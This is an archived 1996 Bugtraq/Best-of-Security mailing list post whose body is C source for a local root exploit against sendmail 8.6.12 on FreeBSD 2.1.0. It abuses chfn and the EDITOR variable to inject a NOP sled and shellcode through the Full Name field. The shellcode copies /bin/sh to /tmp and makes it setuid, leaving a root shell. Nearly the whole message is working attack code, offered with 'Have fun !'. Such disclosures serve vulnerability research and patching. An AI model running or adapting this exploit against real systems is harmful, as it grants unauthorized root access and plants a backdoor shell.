From:	SMTP%"leshka@chci.chuvashia.su" 26-SEP-1996 19:14:31.65
To:	EVERHART
CC:	
Subj:	BoS:      Exploit for sendmail security hole (version 8.6.12 for FreeBSD               2.1.0)

Resent-Date: Wed, 25 Sep 1996 10:32:55 +1000
Approved-By: ALEPH1@UNDERGROUND.ORG
X-Mailer: Mail/@ [v2.14 INTERACTIVE UNIX]
Lines: 67
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Approved-By:  Alexey Zakharov <leshka@CHCI.CHUVASHIA.SU>
Message-ID: <qsdKgHoWA8@chci.chuvashia.su>
Date: 	Mon, 23 Sep 1996 10:56:39 -0400
Reply-To: Alexey Zakharov <leshka@chci.chuvashia.su>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Alexey Zakharov <leshka@chci.chuvashia.su>
Organization: XSN Company
X-To:         bugtraq@crimelab.com
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Approved: proff@suburbia.net
Resent-Message-ID: <"Qyitn2.0.8H.ss7Io"@suburbia>
Resent-From: best-of-security@suburbia.net
X-Mailing-List: <best-of-security@suburbia.net> archive/latest/407
X-Loop: best-of-security@suburbia.net
Precedence: list
Resent-Sender: best-of-security-request@suburbia.net
Subject: BoS:      Exploit for sendmail security hole (version 8.6.12 for FreeBSD               2.1.0)

/*                               Hi !                                       */
/* This is exploit for sendmail bug (version 8.6.12 for FreeBSD 2.1.0).     */
/* If you have any problems with it, send letter to me.                     */
/*                             Have fun !                                   */


/* -----------------   Dedicated to my beautiful lady   ------------------  */
/* Leshka Zakharoff, 1996. E-mail: leshka@chci.chuvashia.su                 */

#include <stdio.h>
main()
{
void make_files();
     make_files();
     system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail;echo See result in /tmp");
}

void make_files()
 {
  int i,j;
  FILE *f;
  char nop_string[200];
  char code_string[]=
                      {
                         "\xeb\x50"                         /* jmp    cont */

/* geteip: */            "\x5d"                             /* popl   %ebp */
                         "\x55"                             /* pushl  %ebp */
                         "\xff\x8d\xc3\xff\xff\xff"         /* decl   0xffffffc3(%ebp) */
                         "\xff\x8d\xd7\xff\xff\xff"         /* decl   0xffffffd7(%ebp) */
                         "\xc3"                             /* ret */

/* 0xffffffb4(%ebp): */ "cp /bin/sh /tmp"
/* 0xffffffc3(%ebp): */ "\x3c"
                        "chmod a=rsx /tmp/sh"
/* 0xffffffd7(%ebp): */ "\x01"
                        "-leshka-leshka-leshka-leshka-"    /* reserved */

/* cont:  */            "\xc7\xc4\x70\xcf\xbf\xef"         /* movl   $0xefbfcf70,%esp */
                        "\xe8\xa5\xff\xff\xff"             /* call   geteip */
                        "\x81\xc5\xb4\xff\xff\xff"         /* addl   $0xb4ffffff,%ebp */
                        "\x55"                             /* pushl  %ebp */
                        "\x55"                             /* pushl  %ebp */
                        "\x68\xd0\x77\x04\x08"             /* pushl  $0x80477d0  */
                        "\xc3"                             /* ret */
                        "-leshka-leshka-leshka-leshka-"    /* reserved */
                        "\xa0\xcf\xbf\xef"
                     };

  j=269-sizeof(code_string);
  for(i=0;i<j;nop_string[i++]='\x90');
  nop_string[j]='\0';

  f=fopen("user.inf","w");
  fprintf(f,"#Changing user database information for leshka\n");
  fprintf(f,"Shell: /usr/local/bin/bash\n");
  fprintf(f,"Location: \n");
  fprintf(f,"Office Phone: \n");
  fprintf(f,"Home Phone: \n");
  fprintf(f,"Full Name: %s%s\n",nop_string,code_string);
  fclose(f);

  f=fopen("hack","w");
  fprintf(f,"cat user.inf>\"$1\"\n");
  fprintf(f,"touch -t 2510711313 \"$1\"\n");
  fclose(f);
 }

